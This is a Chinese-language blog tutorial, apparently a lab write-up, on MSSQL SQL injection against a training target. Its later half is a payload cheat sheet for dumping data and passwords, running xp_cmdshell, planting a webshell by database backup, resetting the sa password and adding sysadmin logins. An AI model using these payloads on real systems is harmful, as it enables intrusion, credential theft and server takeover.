當你的才華
還撐不起你的野心時
那你就應該靜下心來學習
目錄
爲什麼要寫這篇文章?因爲最近項目中經常遇到類似的數據庫,遇到的比較少,老是搞忘,所以在實戰中實踐後,想記錄一下,可能會有人問我,這些都是爛大街的東西了,爲什麼還要寫?走自己的路讓別人去看吧,願能幫到需要幫助的人,怎麼去找一個注入,這個需要經驗,經驗這東西,大部分各位師傅寫的文章都會藏着掖着,畢竟這是自己的喫飯的傢伙(開玩笑,開玩笑)
因爲現在手頭上沒有對應的環境,就找了個合天線上的靶場來做演示,記錄自己成長的軌跡
不喜勿噴,我不是什麼大神,也不會寫什麼代碼,也不會啥安全,就是一個剛剛勉強入門的腳本小子,一起共勉學習。
最後,借這篇文章開頭,祝大家端午節快樂呀,尤其是那位大學的姑娘,很想再次跟你說一聲抱歉,但卻不知該如何開口,只能靠着自己寫的文字來抒發情感,等忙完過段時間的項目後,準備抽空開個包含技術、情感的雜貨鋪公衆號,發發牢騷,抒發想說的話。
0x01 MSSQL 是個啥?
MSSQL是指微軟的SQLServer數據庫服務器,它是一個數據庫平臺,提供數據庫的從服務器到終端的完整的解決方案,其中數據庫服務器部分,是一個數據庫管理系統,用於建立、使用和維護數據庫。SQL Server一開始並不是微軟自己研發的產品,而是當時爲了要和IBM競爭時,與Sybase合作所產生的,其最早的發展者是Sybase,同時微軟也和Sybase合作過 SQL Server 4.2版本的研發,微軟亦將SQL Server 4.2移植到Windows NT(當時爲3.1版),在與Sybase終止合作關係後,自力開發出SQL Server 6.0版,往後的SQL Server即均由微軟自行研發。
SQL Server 的最新版本 2012 版新增了這樣一些特性:藉助 AlwaysOn 羣集和可用性組實現的高可用性及災難恢復解決方案、使查詢速度飛速提升的 xVelocity 內存中存儲、藉助 Analysis Services 中的 Power View 和表格建模實現的快速數據瀏覽和可縮放業務智能,以及 Data Quality Services 帶來的全新數據管理能力。
0x02 MSSQL 注入原理
MSSQL注入攻擊是最爲複雜的數據庫攻擊技術,由於該數據庫功能十分強大,存儲過程以及函數語句十分豐富,這些靈活的語句造就了新穎的攻擊思路。
對於mssql的一個注入點我們往往最關心的這個注入點的權限問題,是sa、db_owner還是public;其次是這個注點是否顯錯,註釋語句是否可用,例如sql server中註釋符“--”;還有就是注入點是什麼類型的,是字符型注入,還是數字型注入。
0x03 MSSQL 常用命令
前一篇寫的關於該命令的文章:SQL注入實戰— MsSQL 常見注入命令
補充部分:在MSSQL中,由於其默認數據庫的 id 號從 6 以後爲用戶定義數據庫,因此利用這一特點,我們只要改動內帶字典庫的 id ,就可遍歷出用戶建立的數據庫信息。
0x04 復現漏洞
靶場地址(別訪問了,是虛擬機的):http://10.1.1.215:8080/Information.aspx?id=1
1. 首先判斷頁面是否存在注入
id參數後面加個單引號,頁面報錯,此時這種情況下是比較大的概率是存在注入的(如果我說的有誤,請師傅們指出,小弟非常感謝你寶貴的意見指導)
嘗試閉合一下,發現單引號無法閉合
?id=1' and '1'='1
是否是就沒辦法呢?那麼我們先排除它不是非字符串類型,嘗試一下數字類型注入,如下:
?id=1 and 1=1 頁面回顯正常
?id=1 and 1=2 頁面回顯不正常
2. 判斷是什麼類型的數據庫
Access:
and (select id from MSysAccessObjects) >0 返回正常說明是access
MSSQL:
and (select id from sysobjects) >0 返回正常說明是mssql
MySQL:
and length(user())>0 返回正常說明是MySQL
判斷是否是Access 數據庫,如回顯正常說明是Access 數據庫
判斷是否是MySQL 數據庫,如回顯正常說明是MySQL 數據庫
判斷是否是MSSQL 數據庫,如回顯正常說明是MSSQL 數據庫
3. 判斷是否是管理員權限
is_srvrolemember ('sysadmin')函數是用來判斷當前的數據用戶是否屬於管理員組權限,即sql server中的最高權限。利用is_srvrolemember ('sysadmin')返回的值來產生能觸發強制類型轉換錯誤的字符串。88是字母X的十進制ASCII值,%2B是加號("+")的URL編碼。如果當前用戶不屬於sysadmin組,那麼is_srvrolemember ('sysadmin')將返回0,char(88+0)將返回字母X。而如果當前用戶擁有管理員權限,那麼is_srvrolemember ('sysadmin')將返回1,char(88+1) 將返回字母Y,再次觸發強制類型轉換錯誤。
PS:URL中不能寫成+,要寫成URL編碼後的形式%2b,因爲URL中的+被認爲是空格。
報錯信息爲Y,說明is_srvrolemember ('sysadmin')的值爲1,可以斷定當前的數據庫用戶屬於管理員組。
4. 利用MSSQL 數據類型轉發報錯法
PS:
@@version是mssql 的全局變量,如果我們把它寫成這樣 and @@version, 那個後面的mssql就會強行把@@version 強行轉換成數字,但是失敗,所以就會將數據庫信息暴露出來
1)爆數據庫版本
?id=1 and 1=1/@@version
?id=1 and 1=@@version
2)爆當前數據庫
?id=1 and 1=db_name()
3)查詢當前用戶
?id=1 and 1=user
4)判斷是否是DB權限
?id=1 and 1=(select is_member('db_owner'))
5)判斷是否是SA權限
?id=1 and 1=(select is_srvrolemember('sysadmin'))
在這樣的權限下我們可以通過各種備份方式往目標的網站目錄裏寫文件(webshell)
6)爆MSSQL的默認數據庫
sysdatabases是MSSQL默認系統表.包含“master”,“msdb”,“mssqlweb”,“empdb”,“model”這五個表,對應的bdid的值爲1到5
?id=1 and 1=(select name from master.dbo.sysdatabases where dbid=5)
剩餘的步驟我不寫了:
爆所有表
• 第一張表 union select top 1 name from 庫名.dbo.sysobjects where xtype=’U’
• 第二張表 union select top 1 name from 庫名.dbo.sysobjects where xtype=’U’ and name not in(‘第一張表’)
• 第三張表 union select top 1 name from 庫名.dbo.sysobjects where xtype=’U’ and name not in(‘第一張表’,’第二張表’)
…
爆列:
• 爆ID select id from seay.dbo.sysobjects where xtype=’U’ and name=’admin’
• 爆第一個列 select top 1 name from seay.dbo.syscolumns where id=ID號
• 爆第二個列 select top 1 name from seay.dbo.syscolumns where id=ID號 and name not in(‘第一個列’)
…
爆數據:
select 列名 from 表名
• master.dbo.xp_dirtree ‘c:\’; 遍歷目錄
• exec master.dbo.xp_availablemedia;– 獲得當前所有驅動器
• exec master.dbo.xp_subdirs ‘c:\’;– 獲得子目錄列表
• exec master.dbo.xp_dirtree ‘c:\’;– 獲得所有子目錄的目錄樹結構
• exec master.dbo.xp_cmdshell ‘type c:\web\web.config’;– 查看文件的內容
備份數據庫:backup database 庫名 to disk=’c:/l.asp’;
MSSQL內置函數:
select @@version 查詢數據庫版本
select user_name() 查詢當前數據庫連接用戶名
select db_name() 查詢當前數據庫名
更改sa密碼
exec sp_password NULL,’新密碼’,’sa’
添加SA權限用戶
exec sp_addlogin ‘username’,’pass’,’master’;
exec sp_addsrvrolemember ‘username’, sysadmin檢測是否支持多行
;declare @d int;–
停掉或激活某個服務。
exec master..xp_servicecontrol ‘stop’,’schedule’
exec master..xp_servicecontrol ‘start’,’schedule’
解開壓縮檔。
xp_unpackcab ‘c:\test.cab’,’c:\temp’,1恢復 xp_cmdshell
;exec master..dbo.sp_addextendedproc ‘xp_cmdshell’,’xplog70.dll’;–
開啓沙盤模式:
exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,1
如果是默認表的話,可以直接用如下Payload
爆用戶密碼的那個表(登陸框注入)就直接:
group by pub_user_inf.userid having 1=1--
group by pub_user_inf.userid,pub_user_inf.username having 1=1--
暴用戶
' and (select top 1 pub_user_inf.username from pub_user_inf )>0--暴密碼
' and (select top 1 pub_user_inf.password from pub_user_inf )>0--
PS:後續再更新MSSQL 提權、SA權限下該如何使用... ...
參考鏈接:
http://sh4d0w.lofter.com/post/1cb55ec4_6bea61d
https://www.hetianlab.com/queryExpStudy.do?ceid=f5b3d27e-2548-4b87-a1fd-8bbd8d61ce26
雖然我們生活在陰溝裏,但依然有人仰望星空!